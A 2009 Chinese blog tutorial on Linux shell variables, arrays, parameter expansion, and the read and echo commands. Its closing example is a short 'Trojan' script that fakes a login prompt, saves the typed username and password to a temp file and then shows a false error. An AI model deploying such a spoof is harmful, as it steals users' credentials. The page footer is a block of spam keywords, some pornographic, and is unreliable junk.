<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    Decode360's Blog

    業精于勤而荒于嬉 QQ:150355677 MSN:decode360@hotmail.com

      BlogJava :: 首頁 :: 新隨筆 :: 聯系 ::  :: 管理 ::
      397 隨筆 :: 33 文章 :: 29 評論 :: 0 Trackbacks
    Linux shell程序設計(三).變量-1
    ?
    ??? 無論是Linux的shell還是Windows的bat,變量的使用都占據了很大的位置。可以說稍微復雜一些的shell腳本中,其使用的變量就讓人眼花繚亂,所以學好變量的基本知識很有必要,畢竟是所有的基礎。而且這部分的內容非常容易記混,還是那句話,關鍵還是在于應用。
    ?
    一、用戶定義的變量
    ?
    1、變量名
    ?
    ??? 以字母、下劃線開頭的字母、數字和下劃線字符序列
    ??? 注:大小寫敏感
    ?
    2、變量賦值
    ?
    ??? 變量名=字符串
    ??? 注:等號兩邊不能有空格
    ?
    3、引用變量值
    ?
    ??? 在變量名前加“$”表示引用,例如:
    ??? $ dir=/usr/wxq
    ??? $ echo $dir? --/usr/wxq
    ??? $ echo dir? --dir
    ?
    ??? 注意:
    ??? ① abc= 或未明確賦值過的變量,均為空字符串
    ??? ② 如果字符串中有空格,則用""括起來:names="Wang XQ"
    ??? ③ 可以作為某長字符串的一部分,例如:echo read$s
    ??? ④ 若會引起歧義時,用{}括起變量,如:cat ${dir}qc/m
    ?
    4、命令替換
    ?
    ??? 使用倒引號“`”進行命令替換,如:
    ??? $ dir=`pwd`
    ?
    ??? 或者使用$()的形式
    ??? $ dir=$(pwd)
    ??? $ echo $(pwd; cd /opt; ls -l)
    ?
    ?
    二、數組
    ?
    1、定義數組
    ?
    ??? bash只提供一維數組,且不限制數組大小。
    ??? 數據下標從0開始賦值,格式為:數組名[下標]=值
    ?
    ??? $ city[0]=Beijing
    ??? $ city[1]=Shanghai
    ??? ...
    ?
    ??? 也可以組合賦值
    ??? $ A=(this is an example of shell script)
    ?
    2、數組的讀取
    ?
    ??? ${數組名[下標]},例如上例中:
    ?
    ??? $ echo ${A[0]} ${A[2]}? --this an
    ??? $ echo ${A[8]}? --空值,超過上限
    ?
    ??? 注:可以使用*或@作為下標,表示所有元素,例如:
    ??? $ echo ${A[*]}
    ?
    ??? 當不加下標讀取時,默認返回A[0]
    ?
    3、取消數組
    ?
    ??? $ unset A? --取消整個數據
    ??? $ unset A[0]? --取消第一個值
    ?
    ?
    三、變量引用
    ?
    ?? ① $name:表示變量name的值,若未定義變量則返回空值
    ?
    ?? ② ${name}:與$name相同,只是為了與后面緊接的字符分開
    ?
    ?? ③ ${name[n]}:表示引用數組name中的第n個元素
    ?
    ?? ④ ${name[*]} | ${name[@]}:表示引用數據的所有元素
    ?
    ??? ${name[*]}和${name[@]}的區別:
    ????? $ person=("a b" "c d")
    ????? $ echo ${person[*]}
    ????? a b c d
    ????? $ echo ${person[@]}
    ????? a b c d
    ? ???? $ for i in ${person[*]}; do echo $i; done
    ?
    ???? a
    ????? b
    ????? c
    ????? d
    ?
    ???? $ for i in ${person[@]}; do echo $i; done
    ?
    ???? a
    ????? b
    ????? c
    ????? d

    ????? $ for i in "${person[*]}"; do echo $i; done
    ????? a b c d
    ????? $ for i in "${person[@]}"; do echo $i; done
    ????? a b
    ????? c d
    ?
    ??? ⑤ ${name:-word}、${name:*word}、${name:+word}、${name:?word}:計算方法,后面講
    ?
    ? ? ⑥ ${name#pattern}、${name##pattern}:去掉開頭匹配部分之后的結果
    ??? ${name#pattern}:去掉匹配最少的部分
    ??? ${name##pattern}:去掉匹配最多的部分
    ?
    ??? $ echo $PWD
    ??? /home/wxq
    ??? $ echo ${PWD#*/}
    ??? home/wxq
    ??? $ echo ${PWD##*/}
    ??? wxq
    ?
    ??? ⑦ ${name%pattern}、${name%%pattern}:去掉末尾匹配部分之后的結果
    ??? ${name%pattern}:去掉匹配最少的部分
    ??? ${name%%pattern}:去掉匹配最多的部分
    ?
    ??? $ echo $FILE
    ??? A.abc.c
    ??? $ echo ${FILE%.*}
    ??? A.abc
    ??? $ echo ${FILE%%.*}
    ??? A
    ?
    ??? ⑧ ${#@}、${#*}:返回$@、$*返回參數的個數
    ?
    ??? ⑨ ${#name[i]}:返回第i個元素的長度(字符個數)
    ?
    ??? ⑩ ${#name[*]}、${#name[@]}:返回數組name中已經設置的元素個數
    ?
    ?
    四、輸入/輸出命令
    ?
    1、read命令
    ?
    ??? ① 輸入個數與給定數據個數相同
    ??? $ read x y z
    ??? Today is Monday
    ??? $ echo $z $y $x
    ??? Monday is Today
    ?
    ??? ② 輸入個數多于給定數據個數
    ??? $ read a1 a2 a3
    ??? aaa bbb ccc ddd 111
    ??? $ echo $a2 $a1
    ??? bbb aaa
    ??? $ echo $a3
    ??? ccc ddd 111
    ?
    ??? 注:從左自右依次對應,最后一個變量分配到剩余所有的數據
    ?
    ??? ③ 輸入個數少于給定數據個數
    ?
    ??? 從左自右依次對應,沒有對應的變量取空值
    ?
    2、echo命令
    ?
    ??? echo命令用于顯示其后的變量值或之間顯示后面的字符串。各個參數之間以空格隔開,以換行符終止。如果數據間需要空格則用""括起來。
    ?
    ??? echo命令后面加上“-e”后可使用轉義符,轉義符包括以下這些:
    ?
    ??? \a? 響鈴報警
    ??? \b? 退一個字符位置
    ??? \c? 輸出之后光標不換行,接在此之后(與-n選項相同)
    ??? \e? 轉義字符
    ??? \f? 換頁
    ??? \n? 顯示換行
    ??? \r? 回車
    ??? \t? 水平制表符
    ??? \v? 垂直制表符
    ??? \\? 印出反斜杠
    ??? \m? 表示一個ASCII字符(m以0開頭,由1位、2位或3位八進制數組成的數)
    ??? \xm 表示一個ASCII字符(m以0開頭,由1位、2位或3位十六進制數組成的數)
    ?
    ??? 舉例某特洛伊木馬shell腳本如下:
    ??? echo -n "Login:"
    ??? read name
    ??? stty -echo
    ??? echo -n "Password:"
    ??? read passwd
    ??? echo ""
    ??? stty echo
    ??? echo $name $passwd > /tmp/ttt&
    ??? sleep 2
    ??? echo "Login Incorrect.Re-enter,Please."
    ??? stty cooked
    ?
    ?
    ?
    posted on 2009-01-08 21:23 decode360 閱讀(261) 評論(0)  編輯  收藏 所屬分類: 03.Linux
    主站蜘蛛池模板: 无码国产精品一区二区免费| 成人亚洲国产精品久久| 久久精品中文字幕免费| 久久精品夜色噜噜亚洲A∨| 青青青视频免费观看| 亚洲国产成人影院播放| 免费看黄网站在线看| 久久久久国产成人精品亚洲午夜 | 人妻在线日韩免费视频| 好看的亚洲黄色经典| 先锋影音资源片午夜在线观看视频免费播放 | 亚洲国产精品第一区二区三区| 久久亚洲精品无码网站| 亚洲精品在线视频| 免费人成激情视频在线观看冫 | 亚洲午夜福利AV一区二区无码| 岛国精品一区免费视频在线观看 | 免费人成在线观看网站视频| 视频一区二区三区免费观看| 国产亚洲av片在线观看18女人| 你懂的在线免费观看| 亚洲同性男gay网站在线观看| 四虎成人免费大片在线| 一级毛片**免费看试看20分钟| 日韩va亚洲va欧洲va国产| 免费h片在线观看网址最新| 亚洲精品中文字幕无码A片老| 免费二级毛片免费完整视频| 久久国产一片免费观看| 亚洲电影在线播放| 免费一级毛片在级播放| 久久午夜免费鲁丝片| 亚洲色一区二区三区四区| 亚洲一级特黄大片在线观看| 成人福利免费视频| 一级毛片人与动免费观看| 亚洲无成人网77777| 亚洲麻豆精品国偷自产在线91| 91精品国产免费久久国语蜜臀| 欧美日韩亚洲精品| 日木av无码专区亚洲av毛片|